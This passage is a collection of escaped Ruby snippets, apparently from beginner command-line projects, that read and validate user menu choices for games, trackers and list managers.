\"4\", \"search by pay\"\n jobs = find_jobs_by_pay\n when \"5\", \"results\"\n jobs = show_last_results\n else\n puts \"Invalid command!\"\n puts \"Please Enter a Valid Menu Choice!\"\n end\n\n display_jobs(jobs) if jobs.class == Array\n end", "def user_input(array, spaces, array2)\n loop do\n space = count_spaces(array, spaces)\n puts \"Enter the Element: \"\n element = gets.chomp.to_i\n puts \"Enter the Row: \"\n row = gets.chomp.to_i\n puts \"Enter the Column: \"\n column = gets.chomp.to_i\n check_user_input = validate_user_input(element, row, column)\n if check_user_input == 0\n puts \"Please Re-enter valid Number, Row, Column\"\n else\n flag_result = validate_number(array, element, row, column, spaces, array2)\n if flag_result == 0\n puts \"Number exists please Re-enter !!\"\n display(array)\n else\n display(array)\n end\n end\n puts \"Press Any Key to Continue: \"\n puts \"Press Q to Quit: \"\n quit = gets.chomp\n break if quit == \"Q\" || quit == \"q\"\n end\nend", "def options(name_input)\r\n puts \"Hi, #{name_input}! What would you like to do? \\n Press 1 for Appliance List \\n Press 2 to Add New Appliance \\n Press 3 for Warranty Status Report \\n Press 4 to exit\".colorize(:green)\r\n option_input = gets.chomp.strip.to_i\r\n #error prevention check if user input is not valid, they will be requested to re-enter their option choice. \r\n while option_input != 1 && option_input != 2 && option_input != 3 && option_input != 4\r\n puts \"Error. Invalid option. Please try again.\".colorize(:red)\r\n puts \"What would you like to do? \\n Press 1 for Appliance List \\n Press 2 to Add New Appliance \\n Press 3 for Warranty Status Report \\n Press 4 to exit\".colorize(:green)\r\n option_input = gets.chomp.strip.to_i\r\n 100.times {print \"-\"}\r\n puts()\r\n end\r\n #While loop is used here to allow continuous interaction with the app until user chooses to exit (4). \r\n counter = 0\r\n while counter == 0\r\n if option_input == 1\r\n 100.times {print \"=\"}\r\n puts()\r\n show_list_of_appliances(name_input)\r\n puts \"What would you like to do? \\n Press 1 for Appliance List \\n Press 2 to Add New Appliance \\n Press 3 for Warranty Status Report \\n Press 4 to exit\".colorize(:green)\r\n option_input = gets().chomp.strip.to_i\r\n 100.times {print \"-\"}\r\n puts()\r\n elsif option_input == 2\r\n puts \"What is your appliance name?\".colorize(:blue)\r\n appliance_type_input = gets().chomp.strip\r\n puts \"Which part of the house is it located in?\".colorize(:blue)\r\n location_input = gets().chomp.strip\r\n puts \"When did you purchase this appliance? Enter a valid date.\".colorize(:blue)\r\n purchase_date_input = nil\r\n #Error prevention check. If date input by user is invalid, they will be prompted to re-enter their date until it is acccepted by Date.parse.\r\n while purchase_date_input == nil\r\n begin\r\n purchase_date_input = Date.parse(gets().strip.chomp)\r\n rescue \r\n puts \"Wrong Date Format. Please try again.\".colorize(:red)\r\n puts \"When did you purchase this appliance?\".colorize(:blue)\r\n end \r\n end \r\n puts \"How long is your appliance's warranty? (in years)\".colorize(:blue)\r\n warranty_length_input = gets.chomp.strip.to_i\r\n puts \"What is your appliance's Warranty Serial Number?\".colorize(:blue)\r\n serial_number_input = gets().chomp.strip\r\n #New device information is initialised under Appliance class and is appended to the CSV device list file of that user.\r\n Appliances.new(appliance_type_input,location_input,purchase_date_input,warranty_length_input,serial_number_input).add_new_appliance(name_input)\r\n puts \"New Appliance Added.\".colorize(:green).bold\r\n puts \"#{appliance_type_input} situated in your #{location_input} was purchased on #{purchase_date_input} with warranty number #{serial_number_input} that lasts for #{warranty_length_input} years.\".colorize(:yellow)\r\n 100.times {print \"=\"}\r\n puts \"\\nWould you like to add another appliance \\nPress 2 for yes.\\nPress 1 to go back and view appliance list.\\nPress 3 for Warranty Status Report.\\nPress 4 to exit.\".colorize(:green)\r\n option_input = gets().chomp.strip.to_i\r\n elsif option_input == 3\r\n puts \"Which product would you like to check?\".colorize(:blue)\r\n product_check_input = gets().chomp\r\n product_details = calc_warranty_of_appliances(product_check_input, name_input)\r\n #If the product is not found in the user's CSV file, user is required to retype their selection until it matches one of the appliances in the CSV file list. \r\n while product_details == []\r\n puts \"Which product would you like to check?\".colorize(:blue)\r\n product_check_input = gets().chomp.strip\r\n product_details = calc_warranty_of_appliances(product_check_input, name_input)\r\n end\r\n #calling the date_of_purchase from the array and changed to Date.parse format, stored in variable called purchase_date_calc\r\n #This is the calculaton formula to calculate when the warranty ends and store it in variable warranty_end_date.\r\n purchase_date_calc = Date.parse(product_details[2])\r\n warranty_length_calc = product_details[3].to_i * 365\r\n warranty_end_date = purchase_date_calc + warranty_length_calc\r\n today_date = Date.today\r\n #This is the calculaton formula to calculate how many days are left until the warranty expiry date and store it in variable called warranty_days_left. \r\n warranty_days_left = (warranty_end_date - today_date).to_i\r\n puts \"Warranty days left = #{warranty_days_left}\".colorize(:light_blue)\r\n 100.times {print \"-\"}\r\n puts()\r\n puts \"What would you like to do? \\n Press 1 for Appliance List \\n Press 2 to Add New Appliance \\n Press 3 for Warranty Status Report \\n Press 4 to exit\".colorize(:green)\r\n option_input = gets().chomp.strip.to_i\r\n #This is option(4), which is to allow user to exit the app.\r\n elsif option_input == 4\r\n puts \"Thank you for using our app!\".colorize(:magenta)\r\n counter += 1\r\n #Error prevention check. When user inputs an invalid option other than option 1, 2, 3 or 4, user will be prompted to re-type their option.\r\n else\r\n puts \"Error. Please enter a valid option.\".colorize(:red)\r\n puts \"What would you like to do? \\n Press 1 for Appliance List \\n Press 2 to Add New Appliance \\n Press 3 for Warranty Status Report \\n Press 4 to exit\".colorize(:green)\r\n option_input = gets().chomp.strip.to_i\r\n 100.times {print \"-\"}\r\n puts()\r\n \r\n end\r\n end\r\nend", "def validate_selection(input)\n print \"#{input} is not a valid choice, re-enter the number or ID > \"\n return gets.strip\nend", "def validate_input\n puts \"Enter move >\"\n player_input = gets.chomp\n if player_input == \"q\"\n exit_game\n return\n end\n \n #Check for valid input\n player_input = player_input.gsub(/[^1-3]/, '') #Strip all but digits 1-3\n # puts player_input # testing\n\n player_input = player_input.split(\"\") # Converts input to array.\n\n if player_input.length != 2 # Looking for only two digit answers\n puts \"Please enter in the format '[1,3]'\"\n return false #Signals invalid input\n elsif player_input[0] == player_input[1]\n puts \"You can't move a piece to the same spot.\"\n else\n return player_input\n end\n end", "def valid_move?(user_input)\n index = user_input.to_i - 1\n true if (0 <= index && index <= 8) && taken?(user_input) == false\n end", "def get_input\n\t\tgood_input = false\n\t\tuntil good_input\n\t\t\tputs \"\"\n\t\t\tputs \"Enter a letter or enter 'Menu' to open the Main Menu\"\n\t\t\tinput = gets.chomp\n\t\t\tif @incorrect_array.include?(input) or @blank_word_array.include?(input)\n\t\t\t\tputs \"You already guessed '#{input}'\"\n\t\t\telsif input.downcase == \"menu\"\n\t\t\t\t\tclear_screen\n\t\t\t\t\tmenu\n\t\t\telsif input.length > 1\n\t\t\t\tputs \"You can't guess more than one letter at a time\"\n\t\t\telsif input == ''\n\t\t\t\t\t\t\t\n\t\t\telse\n\t\t\t\tgood_input = true\n\t\t\tend\n\t\tend\n\t\tinput\n\tend", "def invalidSelection(humanPlayer)\n until humanPlayer.upcase == \"O\" || humanPlayer.upcase == \"X\"\n puts \"please enter a valid selection.\"\n humanPlayer = gets.chomp\n end\n return humanPlayer \nend", "def checkUserInputForCreateMenu(arr)\r\n #initialize mainmenu selection characters array\r\n @mainMenuCharSelection = [\"p\",\"v\"];\r\n #check user input for input validation\r\n if(@mainMenuCharSelection.include? @userInput.downcase)\r\n case @userInput.downcase\r\n when \"p\"\r\n puts \"Name?\";\r\n\r\n checkExistingNames(arr);\r\n\r\n name = @userInput;\r\n\r\n @userInput = \"\";\r\n while(@userInput.downcase != \"d\" && @userInput.downcase != \"r\" )\r\n puts \"Party? (D)emocrat or (R)epublican\"\r\n @userInput = gets.chomp;\r\n end\r\n\r\n party = @userInput == \"d\" ? \"Democrat\" : \"Republican\";\r\n p = Politician.new(name,party,\"Politician\")\r\n \r\n @ismainMenuLoop = false;\r\n return p;\r\n when \"v\"\r\n puts \"Name?\"\r\n \r\n checkExistingNames(arr);\r\n\r\n name = @userInput;\r\n\r\n @userInput = \"\";\r\n compareArr = [\"l\",\"c\",\"t\",\"s\",\"n\"];\r\n while(!compareArr.include? @userInput.downcase)\r\n puts \"Politics?\\n(L)iberal, (C)onservative, (T)ea Party, (S)ocialist, or (N)eutral\"\r\n @userInput = gets.chomp;\r\n end\r\n\r\n politics = \"\";\r\n case @userInput.downcase\r\n when compareArr[0]\r\n politics = \"Liberal\";\r\n when compareArr[1]\r\n politics = \"Conservative\"\r\n when compareArr[2]\r\n politics = \"Tea Party\"\r\n when compareArr[3]\r\n politics = \"Socialist\"\r\n when compareArr[4]\r\n politics = \"Neutral\"\r\n else\r\n puts \"Wrong choice\"\r\n end\r\n p = Politician.new(name,politics,\"Voter\")\r\n \r\n @ismainMenuLoop = false;\r\n return p;\r\n else\r\n puts \"entry unkown! Try again! \\n\\n\"\r\n end\r\n else\r\n puts \"Please enter a valid choice from the menu options! You chose (#{@userInput}) \\n\\n\";\r\n end\r\n end", "def user_input\n\t\tputs \"Please pick a letter to guess the word.\"\n\t\t@letter = gets.chomp.downcase\n\t\t@letters_array = [*?a..?z] #creates an array of the alphabet from a to z lowercase\n\t\tuser_input_check\n\tend", "def process_user_response(arr)\r\n while (key = gets.chomp) != 'exit'\r\n puts \"Please write u, l, r, d or 'exit' to quite\"\r\n case key\r\n when 'u' then move_up(arr)\r\n when 'l' then move_left(arr)\r\n when 'r' then move_right(arr)\r\n when 'd' then move_down(arr)\r\n when 'exit' then break\r\n end\r\n arr.to_s\r\n end\r\n end", "def answer_validation(name)\n puts \"\\nHello, #{name}! What would you like to do today?\\n\n [1] Check allergy score.\n [2] Check allergies based on score.\n [3] Check if allergic to.\n [4] See allergy score table\n [5] Exit\"\n answer_keys = [*1..5]\n ans = gets.chomp.to_i\n while !answer_keys.include?(ans)\n puts \"Please navigate through the options using the numbers given.\"\n ans = gets.chomp.to_i\n end\n ans\nend", "def recipe_ask_for_options\n puts \"\"\n puts \"What would you like to do?\".colorize(:yellow)\n puts \"\\n- [1] Save recipe\\n- [2] See Conversion tool\\n- [3] Back to main menu\".colorize(:yellow)\n user_input = gets.chomp\n if @answers[1][1].include?(user_input)\n @recipe.save_recipe\n self.save_menu_options\n elsif @answers[1][2].include?(user_input)\n self.start_convert\n elsif @answers[1][3].include?(user_input)\n self.start_main_menu\n elsif user_input == \"end\"\n exit \n else\n puts \"Thats wasn't a valid input, type 1 to start program, type 2 to navigate to the conversion feature and type 3 to see help.\".colorize(:red)\n end\n end", "def handle_input\n # Takes user input\n input = STDIN.gets.chomp\n system('clear')\n\n # Single word commands\n # QUIT\n if input == 'quit'\n @run_game = false\n puts \"Thanks for playing!\"\n sleep(3)\n system('clear')\n\n # BACKPACK\n elsif input == 'backpack'\n @player.print_backpack\n\n # HELP\n elsif input == 'help'\n puts \"Use the commands to move around the AirBnB and use items to help you escape.\"\n\n else\n # Double word commands \n input_arr = input.split(\" \")\n # User has only entered one word\n if input_arr.size > 1\n command1 = input_arr[0]\n command2 = input_arr[1]\n # TAKE ITEM\n if command1 == \"take\"\n take_item(command2)\n # USE ITEM\n elsif command1 == \"use\"\n use_item(command2)\n # GO ROOM\n elsif command1 == \"go\"\n go_room(command2)\n else\n # User doesn't specify second command\n puts \"I'll need more information than that!\"\n end\n else\n # User enters invalid command word\n puts \"That isn't a valid command\"\n end\n end\n end", "def get_valid_user_choice ###\n print \"\\nWhat would you like to do next? \\n(Enter 'list planets', 'planet details', 'add planet', or 'exit'.) \"\n @user_choice = gets.chomp.downcase\n\n until @user_choice == \"list planets\" || @user_choice == \"exit\" || @user_choice == \"planet details\" || @user_choice == \"add planet\"\n puts \"Please enter a valid choice: list planets, planet details, add planet, or exit.\"\n @user_choice = gets.chomp.downcase\n end\n end", "def again_or_exit?(crate)\n puts \"\\n\\nWhat would you like to do now?\\n1. View another genre.\\n2. Exit\"\n input = gets.strip\n input_i = input.to_i\n acceptable_answers = (1..2).to_a\n while acceptable_answers.none? { |answer| answer == input_i }\n puts \"\\nI'm sorry, that's not a valid option.\"\n puts \"Please enter 1 or 2.\"\n input_i = gets.strip.to_i\n end \n\n if input_i == 1\n self.start(crate)\n else\n puts \"Have a good one!\"\n end\n end", "def turn(board)\n puts \"Please enter 1-9:\"\n user_input = gets.strip\n arr_index = input_to_index(user_input)\n position = current_player(board)\n\n if !valid_move?(board, arr_index)\n puts \"Please enter a different option\"\n user_input = gets.strip\n else\n move(board, arr_index, position)\n display_board(board)\n end\n\nend", "def check_input(input, type=\"\")\n input = convert_input(input) unless input == \"save\"\n if type == \"selection\"\n loop do\n \tif input == \"exit\"\n return \"exit\"\n elsif input == \"save\"\n puts \"Game saved\"\n elsif @board[input] == nil\n puts \"That slot is empty\" \n elsif @board[input].team == @current_player\n return input \n else\n puts \"Invalid selection, wrong team\"\n end\n puts \"Select a piece\"\n input = gets.chomp\n input = convert_input(input)\n end\n else\n loop do \n \tif input == \"exit\"\n \t return \"exit\"\n \telsif input == \"save\"\n puts \"Game saved\" \n elsif @possible_moves.include?(input)\n return input\n elsif @board[input] != nil && @board[input].team == @current_player\n select_piece(input)\n else\n puts \"Invalid move, enter a different target location\"\n end\n puts \"Select a destination\" \n input = gets.chomp\n input = convert_input(input)\n end \n end\n end", "def player_2_input\n print \"Player 2, it's your turn:\"\n input = gets.chomp.to_i\n\n # while input<1 || input>9\n # puts \"You need to put a number between 1 and 9, try again:\"\n # input = gets.chomp.to_i\n # end\n\n while input<1 || input>9 || $a[input] != ' '\n if input<1 || input>9\n print \"You need to put a number between 1 and 9, try again:\"\n else\n print \"Sorry, this field is already taken, please choose a different field:\"\n end\n input = gets.chomp.to_i\n end\n\n $a[input]='O'\n \n draw_board\nend", "def validate(answers, input)\n until answers.include?(input)\n puts \"#Invalid input: #{input}\"\n input_answer\n end\n end", "def end_input\n\t\tinput = nil\n\t\tuntil input != nil\n\t\t\tinput = case gets.chomp.downcase\n\t\t\twhen \"yes\", \"y\" then \"yes\"\n\t\t\twhen \"no\", \"n\" then \"no\"\n\t\t\telse nil\n\t\t\tend\n\t\t\tputs \"That's not a valid option!\" if not input\n\t\tend\n\t\tinput\n\tend", "def player_input\n correct_input = false\n puts \"Please select a column number 1 - 8:\"\n user_selected = gets.to_i\n while correct_input === false\n if user_selected < 1 || user_selected > 8\n puts \"You selected #{user_selected}. Please select a column number 1 - 8:\"\n user_selected = gets.to_i\n else\n return user_selected - 1\n end\n end\nend", "def pick_option\n input = get_input\n if input == '1'\n events_array = search_by_city\n display_events_by_city(events_array)\n save_event_or_main_menu(events_array)\n elsif input == '2'\n attractions_array = search_by_keyword\n display_by_keyword(attractions_array)\n save_event_or_main_menu(attractions_array)\n elsif input == '3'\n display_user_events\n elsif input == '4'\n delete_account\n elsif input == '5'\n space(1)\n puts \"#{$logged_in.username}, thanks for checking us out. See ya later!\"\n exit\n else\n space(1)\n invalid_input\n pick_option\n end\nend", "def do_you_want_to_continue\r\n # Checking if the user wants to continue with Part 2 & 3 of the script, and collecting an input from them\r\n puts \"Do you want to see Parts 2 & 3? (y/n)\"\r\n answer = gets.chomp\r\n # Providing a case that only excepts either \"yes\" or \"y\" to continue, or \"no\" or \"n\" to exit.\r\n case answer\r\n # Instantiating the case that if the user inputs \"yes\" or \"y\" the loop ends and the script continues to Parts 2 & 3.\r\n when \"yes\", \"y\"\r\n # Instantiating the case that if the user inputs \"no\" or \"n\" the terminal session is ended\r\n when \"no\", \"n\"\r\n exit\r\n # Here I placed an else component to the case the user passed an invalid input. I clear the terminal and call the method again, making it look as though\r\n # they have no choice but to put a valid input to continue\r\n else\r\n puts `clear`\r\n do_you_want_to_continue\r\n end\r\nend", "def select_object_type\n puts 'Select 1 for Organizations, 2 for Users, 3 for Tickets or Exit to quit program'\n user_response = gets.chomp\n while !['1', '2', '3', 'Exit'].include?(user_response)\n puts 'Incorrect input'\n puts 'Select 1 for Organizations, 2 for Users, 3 for Tickets'\n user_response = gets.chomp\n end\n if user_response == 'Exit'\n @running = false\n else\n @object = user_response\n end\n end", "def opened_the_door_walked_outside\n# array for choices once you have made it outside\n where_to_go = [\"path\", \"forest\"]\n puts \"\\nWhere would you like to go:\"\n puts \"Path or Forest?\"\n# user input placeholder\n print \"> \"\n\n# getting user input for either forest or path\n confirm = $stdin.gets.chomp.upcase\n\tif confirm == \"P\" or confirm == \"PATH\"\n\t\twalking_down_the_path\n clear_screen\n sleep(3)\n\telsif confirm == \"F\" or confirm == \"FOREST\"\n\t\twalking_down_into_the_forest\n clear_screen\n sleep(3)\n else\n puts \"Choose again...\"\n opened_the_door_walked_outside\n\tend\nend", "def input_is_valid?(input)\n input.is_a?(Array) && input.length == 2 && input[0] < @board.rows && input[1] < @board.columns && @board[input].face != :up\n end", "def validate(input_selection, num_stops, msg)\n puts \"you selected #{input_selection}\"\n puts \"there are #{num_stops} on this line\"\n\n if input_selection.between?(1, num_stops)\n bool = 1\n puts \" in first if: i.sel = #{input_selection} and numstops = #{num_stops}\"\n else\n bool = 0\n puts \"else returned boo = 0\"\n end\n while bool > 0\n puts \"Error, Invalid Entry\"\n puts \"#{msg}\"\n try_again = gets.chomp.to_i\n if try_again.between?(1, num_stops)\n bool = 0\n puts \"bool = 0 in nested if statement\"\n else\n bool = 1\n end\n end\n\n #return input_selection\nend", "def validate_user_choice\n input = gets.chomp\n if input ==\"exit\"\n exit_screen\n elsif input == \"buy\"\n ticketing_screen\n elsif input.to_i == 1\n concert_screen\n elsif input.to_i == 2\n # if user doesn't want to buy a ticket yet, they can look for other upcoming bands and/or concerts by typing bands.\n bands_screen\n else\n unrecognized_input\n end\n end", "def decide\n input = '0'\n puts \"What would you like to do? 1) hit 2) stay\"\n loop do\n input = gets.chomp\n if !['1', '2'].include?(input)\n puts \"Error: you must enter 1 or 2\"\n else\n break\n end\n end\n puts \"Hit me!\" if input == '1'\n puts \"Stay!\" if input == '2'\n input \n end", "def validate_letter_selection(input)\n until [\"A\", \"B\", \"C\", \"D\"].include?(input)\n print \"That doesn't look like one of the options. \\n\\nPlease enter either A, B, C, or D: \"\n input = gets.chomp.upcase\n end\n return input\nend", "def input_validation\n\t\tvalidation = false\n\t\twhile validation == false\n\t\t\tputs \"\\n#{@current_player.name} (#{@current_player.color}) please enter your move like this: b1 to c3\"\n\t\t\tinput = gets.chomp.downcase\n\t\t\t@player_play = input.split(\" to \")\n\t\t\t#if the player wants to save his current gameplay.\n\t\t\tif input == \"save\"\n\t\t\t\tsave_game\n\t\t\t#if the player wants to load a previus game.\n\t\t\telsif input == \"load\"\n\t\t\t\tload_game\t\t\n\t\t\t#if the input dosen't follow the 8 character syntax, sends an error message explaining the correct syntax.\n\t\t\telsif input.length != 8\n\t\t\t\tputs \"\\nIncorrect number of characters, please follow this syntax: b1 to c3 (with spaces)\"\n\t\t\t#if the input doesn't include the word 'to' then sends a message explaining the syntax.\n\t\t\telsif !input.include?(\"to\")\n\t\t\t\tputs \"\\nIncorrect syntax, please follow this example: b1 to c3 (with spaces)\"\n\t\t\t#if the player doesn't enter a letter between a-h for columns and a number between 1-8 for rows then print a error message.\n\t\t\telsif (!(\"a\"..\"h\").include?(@player_play[0][0]) || !(\"1\"..\"8\").include?(@player_play[0][1])) || (!(\"a\"..\"h\").include?(@player_play[1][0]) || !(\"1\"..\"8\").include?(@player_play[1][1]))\n\t\t\t\tputs \"\\n¡Error!.The correct syntax for coordinates is Letter (a - h) + Number (1 - 8)\"\n\t\t\t\tputs \"For example b1, g2 or f5, please try again!\"\n\t\t\t#if the player is trying to move an enemy piece or and empty square, then print a error message.\n\t\t\telsif @current_player.color != @board[@player_play[0]].color\n\t\t\t\tputs \"¡Error!.That is not your piece or is an empty square, try again!\"\n\t\t\t#if the input follows the correct syntax and the piece is the same color as the current player, then validate the input.\n\t\t\telsif (@player_play.size == 2 && @current_player.color == @board[@player_play[0]].color) && (@player_play[0].length == 2 && @player_play[1].length == 2)\n\t\t\t\tvalidation = true\n\t\t\tend\n\t\tend\n\t\tplay_flow(@player_play)\n\tend", "def play\n self.check \n while (\"unfinished\" == @hands_status[@cur])\n choice = 0\n \n if 2 == @hands[@cur].length # handle a hand first time\n if (num_to_value(@hands[@cur][0]) == num_to_value(@hands[@cur][1])) && (@balance >= @bets[@cur])\n # can split and double\n puts \"please input INTEGER for your choice:\\n1--hit; 2--stand; 3--double; 4--split\"\n get_input = gets.chomp\n while (!is_int? get_input) || ((is_int? get_input) && !((1..4)===Integer(get_input)))\n puts \"invalid input, please re-input:\\n1--hit; 2--stand; 3--double; 4--split\"\n get_input = gets.chomp\n end\n choice = Integer(get_input)\n elsif (@balance >= @bets[@cur])\n # can double\n puts \"please input INTEGER for your choice:\\n1--hit; 2--stand; 3--double\"\n get_input = gets.chomp\n while (!is_int? get_input) || ((is_int? get_input) && !((1..3)===Integer(get_input)))\n puts \"invalid input, please re-input:\\n1--hit; 2--stand; 3--double\"\n get_input = gets.chomp\n end\n choice = Integer(get_input)\n else\n puts \"please input INTEGER for your choice:\\n1--hit; 2--stand\"\n get_input = gets.chomp\n while (!is_int? get_input) || ((is_int? get_input) && !((1..2)===Integer(get_input)))\n puts \"invalid input, please re-input:\\n1--hit; 2--stand\"\n get_input = gets.chomp\n end\n choice = Integer(get_input)\n end\n else\n # can only hit or stand\n puts \"please input INTEGER for your choice:\\n1--hit; 2--stand\"\n get_input = gets.chomp\n while (!is_int? get_input) || ((is_int? get_input) && !((1..2)===Integer(get_input)))\n puts \"invalid input, please re-input:\\n1--hit; 2--stand\"\n get_input = gets.chomp\n end \n choice = Integer(get_input)\n end\n\n case choice\n when 1\n self.hit\n when 2\n self.stand\n when 3\n self.double\n when 4\n self.split\n end\n\n self.check\n \n end\n end", "def walking_out_of_the_path\n path_items = [\"ruby\", \"laptop\"]\n sleep(3)\n puts \"\\nWith the use of your #{@selected_weapon} you see something in the distance\"\n sleep(3)\n puts \"\\nIts a ruby and a laptop! Would you like to take one with you?\"\n puts \"Yes or No?\"\n print \"> \"\n\n confirm = $stdin.gets.chomp.upcase\n if confirm == 'Y' or confirm == 'YES'\n sleep(2)\n puts \"Which would you like to add to your bag?\"\n puts \"Ruby or the Laptop?\"\n puts \"Select number: \"\n#Loop through path items array and print options to console\n# prints the path items and its value\n (0...path_items.length).each do |i|\n \t\tputs \"#{i+1} - #{path_items[i]}\"\n \tend\n\n# user input placeholder\n \tprint \"> \"\n\n# getting the users choice\n \tchoice = $stdin.gets.chomp.to_i - 1\n \t@selected_path_item = path_items[choice]\n\n if choice == 0 then\n puts \"You have added the #{@selected_path_item} to the bag\"\n $items_collected << @selected_path_item\n puts \"Now you make your way to the end of the path\"\n sleep(4)\n enter_castle\n elsif choice == 1\n puts \"You have added the #{@selected_path_item} to the bag\"\n $items_collected << @selected_path_item\n puts \"Now you make your way to the end of the path\"\n sleep(4)\n enter_castle\n else\n puts \"Choose 1 or 2\"\n walking_out_of_the_path\n end\n else\n puts \"You took nothing and continued out of the path.\"\n enter_castle\n end\n\nend", "def get_valid_user_choice\r\n choice_ok = false\r\n choice = \"\"\r\n until choice_ok\r\n print \"> \"\r\n choice = gets.chomp\r\n choice_ok = verify_choice_ok(choice)\r\n puts \"Invalid choice.\" unless choice_ok\r\n end\r\n return choice\r\nend", "def get_action\n begin\n num = Integer(gets.strip)\n rescue ArgumentError\n puts(\"Please enter a valid option\")\n print(@prompt_string)\n return get_action\n end\n if num > @options.length\n puts(\"Please enter a valid option\")\n print(@prompt_string)\n return get_action\n end\n return @options[num-1]\n end", "def get_input(message, choices)\n print(message)\n response = gets.chomp.downcase\n while response.length < 1 || !choices.include?(response[0])\n print(\"Invalid selection. \" + message)\n response = gets.chomp.downcase\n end\n return response[0]\nend", "def difficulty(size,marker)\n p \"1 is easy, 2 is medium, and 3 is unbeatable difficulty\"\n choice = gets.chomp\n if [\"1\", \"2\", \"3\"].include?(choice) \n choose_ai(\"ai \" + choice,size,marker)\n else\n p \"Incorrect Input\"\n difficulty(size,marker)\n end\nend", "def user_decision(x)\n loop do\n\n puts \"What would you like to do? (view, add, update, remove, search or exit)\"\n user_input = gets.chomp.downcase\n\n if user_input == 'exit'\n break\n\n elsif user_input == 'view'\n puts \"processing...\"\n view_contact_list(x)\n break\n\n elsif user_input == 'add'\n add_contact(x)\n puts \"processing...\"\n break\n\n elsif user_input == 'update'\n puts \"processing...\"\n update_contact(x)\n break\n\n elsif user_input == 'remove'\n puts \"processing...\"\n remove(x)\n break\n\n elsif user_input == 'search'\n puts \"processing...\"\n print_individual_contact(x)\n break\n\n else\n puts \"Invalid response. Please try again.\"\n end\n end\nend", "def askForSort\n\n choices = [\"Selection Sort\", \"Insertion Sort\", \"Bubble Sort\"]\n puts 'How would you like the strings to be sorted?'\n puts \"1: #{choices[0]}\\n2: #{choices[1]}\\n3: #{choices[2]}\"\n\n while true\n reply = gets.chomp.to_i\n case reply\n when 1..3\n puts \"Okay, you have chosen #{choices[reply - 1]}\"\n return reply\n else # don't break from loop\n puts 'Huh? Please type a number from 1 to 3:'\n end\n end\n\nend", "def get_user_selection\n puts \"Do you want a specific number of elements or elements up to a specific value?\"\n \n choice = \"\"\n \n until choice == 'V' || choice == 'N' || choice == 'X'\n print \"Enter 'V' for max value, 'N' for num elements, 'X' for exit > \"\n choice = gets.chomp.chars.first.upcase\n end\n \n return choice\nend", "def gatekeeper *values\n user_input = gets.chomp\n valid = false\n values.each {|element| valid = user_input == element}\n while !valid\n puts \"I couldn't understand that, could you try that again?\"\n user_input = gets.chomp\n values.each {|element| valid = user_input == element}\n end\n user_input\nend", "def turn(array)\r\n puts \"Please enter 1-9:\"\r\n input = gets.strip\r\n index = input_to_index(input)\r\n if valid_move?(array,index) == true\r\n move(array, index, \"X\")\r\n display_board(array)\r\n else\r\n puts \"This move is not correct.\"\r\n turn(array)\r\n end\r\nend", "def add_delete\n\tputs \"Would you like to ADD or DELETE? (or EXIT)\"\n\tadd_delete = gets.chomp.upcase\n\tuntil [\"ADD\",\"DELETE\",\"EXIT\"].index(add_delete)\n\t\tputs \"Please select ADD, DELETE, or EXIT\"\n\t\tadd_delete = gets.chomp.upcase\n\tend\n\tadd_delete\nend", "def ask_input_options(type, options)\n begin\n puts \"Choose #{type} (1-indexed) : #{options.inspect}\"\n index = gets.to_i\n end while (index < 1 || index > options.length)\n options[index-1]\n end", "def input_valid_animal\n \n adopting_animal_name = \"\" \n print(\"Enter animal name: \")\n adopting_animal_name = gets.chomp\n\n while @animals[adopting_animal_name.to_sym].nil?\n puts(\"That animal not found. Please try again.\")\n print(\"Enter animal name: \")\n adopting_animal_name = gets.chomp\n end\n\n return @animals[adopting_animal_name.to_sym]\n end", "def input \n Character.list\n input = gets.chomp\n index = input.to_i\n clear\n if index <= Character.names.length && index > 0\n adjusted_index = index - 1\n info = Character.info[adjusted_index]\n puts \"#{info}\"\n puts \"\\nType list to search for another character or exit to quit.\".colorize(:blue).colorize(:background => :black)\n elsif \n input == \"exit\" \n clear\n puts \"Goodbye!\".colorize(:green).colorize(:background => :black)\n exit! \n else \n Character.all.clear \n puts \"Incorrect selection, please try again or exit\".colorize(:red).colorize(:background => :black)\n puts \"3\".colorize(:magenta).colorize(:background => :black)\n sleep 1 \n puts \"2\".colorize(:yellow).colorize(:background => :black)\n sleep 1 \n puts \"1\".colorize(:green).colorize(:background => :black)\n sleep 1 \n clear\n call\n \n end \n end", "def check_input(input,letter_array)\n input.gsub!(/[^0-9A-Za-z]/, '')\n until input.to_i == 0 && input != \"0\" && input != \"\"\n print \"Please enter a letter: \"\n input = gets.chomp.upcase\n input.gsub!(/[^0-9A-Za-z]/, '')\n end\n if letter_array.include?(input)\n puts \"You have already guessed this letter\"\n print \"Please try again: \"\n input = check_input(gets.chomp.upcase, letter_array)\n end\n return input\nend", "def unrecognized_input\n puts \"Input not recognized or is invalid.\"\n exit_screen\n end", "def artist_menu\n \n puts \"Please select a number from the list present to learn more about an artist\".black.on_white\n user_input=gets.chomp\n \n if !user_input.to_i.between?(1,Artist.all.count)\n puts \"Please choose a valid number\".black.on_white\n list_artist\n artist_menu\n else \n artist=Artist.all[user_input.to_i - 1]\n artist_details(artist)\n continue_exploring_gallery(artist)\n end \n\n end", "def verification_two(input)\n if input == \"exit\"\n return false\n end\n\n while input.to_i <= 0 || input.to_i > (EndangeredAnimals::Animal.all.length)\n puts \"Please enter a number between 1 and #{EndangeredAnimals::Animal.all.length} or type exit.\"\n input = gets.strip\n\n if input == \"exit\"\n return false\n end\n end\n input\n end", "def input_to_index(user_input)\n if (user_input === \"invalide\")\n return -1\n else\n input = user_input.to_i\n input = input - 1\n end\nend", "def opt_strt_chk(input)\n until input == 'options' || input == 'start'\n puts \"\\n Type 'options' to go into the options menu or 'start' to begin a new game\"\n input = gets.chomp\n end\n if input == 'options'\n options\n else\n end\n end", "def validateGameInput\t\t\n\t\tcontinueLoop = true\n\t\n\t\tputs \"Welcome to the best Hangman Game Ever!\"\n\t\twhile continueLoop\t\t\t\n\t\t\tputs \"**************************************\"\n\t\t\tputs \"1. New Game\"\n\t\t\tputs \"2. Saved Game\"\n\n\t\t\tinput = gets.chomp.to_i\n\n\t\t\tcase input\n\t\t\twhen 1\t\t\t\t\n\t\t\t\tcontinueLoop = false\n\t\t\t\t@board = Hangman::Board.new \n\t\t\t\tplayGame\n\t\t\twhen 2 \n\t\t\t\tcontinueLoop = false\n\t\t\t\tplayExistingGame\n\t\t\telse\n\t\t\t\tputs \"Invalid input! Try again!\"\n\t\t\tend\n\t\tend\n\t\treturn input\n\tend", "def get_user_input(user, enemies)\n option = gets.chomp.to_s\n while (option != \"a\" && option != \"b\" && option != \"1\" && option != \"0\")\n puts \"Option non valide\"\n option = gets.chomp.to_s\n end\n if option == \"a\"\n user.search_weapon\n elsif option == \"b\"\n user.search_health_pack\n elsif option == \"0\"\n user.attack(enemies[1])\n 